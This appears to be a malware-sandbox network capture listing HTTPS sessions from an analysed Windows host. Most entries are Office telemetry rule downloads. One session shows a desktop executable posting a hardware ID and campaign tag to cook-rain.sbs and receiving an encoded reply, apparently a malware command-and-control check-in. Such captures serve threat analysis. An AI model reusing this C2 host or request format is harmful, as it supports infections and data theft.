2024-11-20 16:41:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:40 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164140Z-r1d97b99577kk29chC1TEBemmg000000095000000000dzab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:40 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:40 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:40 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164140Z-1777c6cb754xlpjshC1TEBv8cc00000009x000000000uzz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:40 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:40 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164140Z-1777c6cb754lvj6mhC1TEBke940000000a00000000003637 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:40 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164140Z-185f5d8b95cp7lkfhC1NYC7rpw0000000aqg000000004nst x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49757	104.21.66.38	443	7476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:42 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-20 16:41:42 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 46 35 44 32 32 38 38 35 46 32 31 41 36 46 31 30 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=F5D22885F21A6F1063CFCF7E6C45F838
2024-11-20 16:41:42 UTC	980	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f2iv7p1k91fm8ggrn5t1iofsrm; expires=Sun, 16-Mar-2025 10:28:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcnuLCO0jRc%2BqMKCBBQFI9y42gzwpTeM6yFJz8fMEejSF2mqWfCsBjGO9BtcL2OnI0MtqXyfsqkxDo%2Fmx0VIOVbzRFI3cYefxFfClchR63tgsgP2p1oNzu%2BEWNli4bUe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59e3977cfb7d14-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1877&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=985&delivery_rate=1578378&cwnd=242&unsent_bytes=0&cid=b08dfdfb6892871c&ts=601&x=0"
2024-11-20 16:41:42 UTC	214	IN	Data Raw: 64 30 0d 0a 47 4b 6d 7a 65 76 54 4c 41 31 34 2b 77 4f 37 55 77 36 4a 70 43 52 5a 5a 69 55 50 39 6e 47 4b 42 77 47 53 6e 31 42 38 6a 2b 76 52 44 30 70 45 50 31 76 45 68 4e 6b 71 30 6e 75 36 66 6a 54 55 6d 4a 32 47 38 62 63 2b 74 56 36 2f 78 56 5a 54 36 4c 68 57 6d 32 33 66 50 31 53 62 62 72 32 59 34 45 4b 57 57 73 65 47 4f 53 32 39 69 65 37 4e 7a 30 62 34 48 6f 2f 70 56 32 76 68 6b 41 59 2f 57 49 6f 76 62 44 6f 43 37 4f 51 49 52 6e 4d 48 6c 2b 35 64 48 4f 79 64 73 70 33 4c 4d 72 30 79 77 39 6a 69 49 70 32 74 47 6d 35 6c 45 68 73 45 62 6d 71 39 73 4d 78 43 6c 6c 72 48 68 6a 6b 74 76 59 6e 75 7a 63 39 47 2b 42 36 50 36 56 64 71 4a 0d 0a Data Ascii: d0GKmzevTLA14+wO7Uw6JpCRZZiUP9nGKBwGSn1B8j+vRD0pEP1vEhNkq0nu6fjTUmJ2G8bc+tV6/xVZT6LhWm23fP1Sbbr2Y4EKWWseGOS29ie7Nz0b4Ho/pV2vhkAY/WIovbDoC7OQIRnMHl+5dHOydsp3LMr0yw9jiIp2tGm5lEhsEbmq9sMxCllrHhjktvYnuzc9G+B6P6VdqJ
2024-11-20 16:41:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:42 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:42 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:42 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 57b2d8b6-201e-0033-2767-3bb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164142Z-185f5d8b95csp6jmhC1NYCwy6s0000000ak0000000001aee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 16:41:42 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:42 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:42 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164142Z-r1d97b99577hc74hhC1TEBvbns00000008wg00000000pafw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:42 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:42 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:42 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164142Z-r1d97b9957747b9jhC1TEBgyec000000098000000000axr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:42 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:42 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:42 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164142Z-185f5d8b95crl6swhC1NYC3ueg0000000ap000000000e4f3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:42 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:42 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164142Z-185f5d8b95c96jn4hC1NYCbgp80000000abg000000014nen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:44 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164144Z-185f5d8b95cdh56ghC1NYCk1x400000004ag00000000h1xv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:44 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:44 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164144Z-185f5d8b95c68cvnhC1NYCfn7s0000000af000000000pegy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
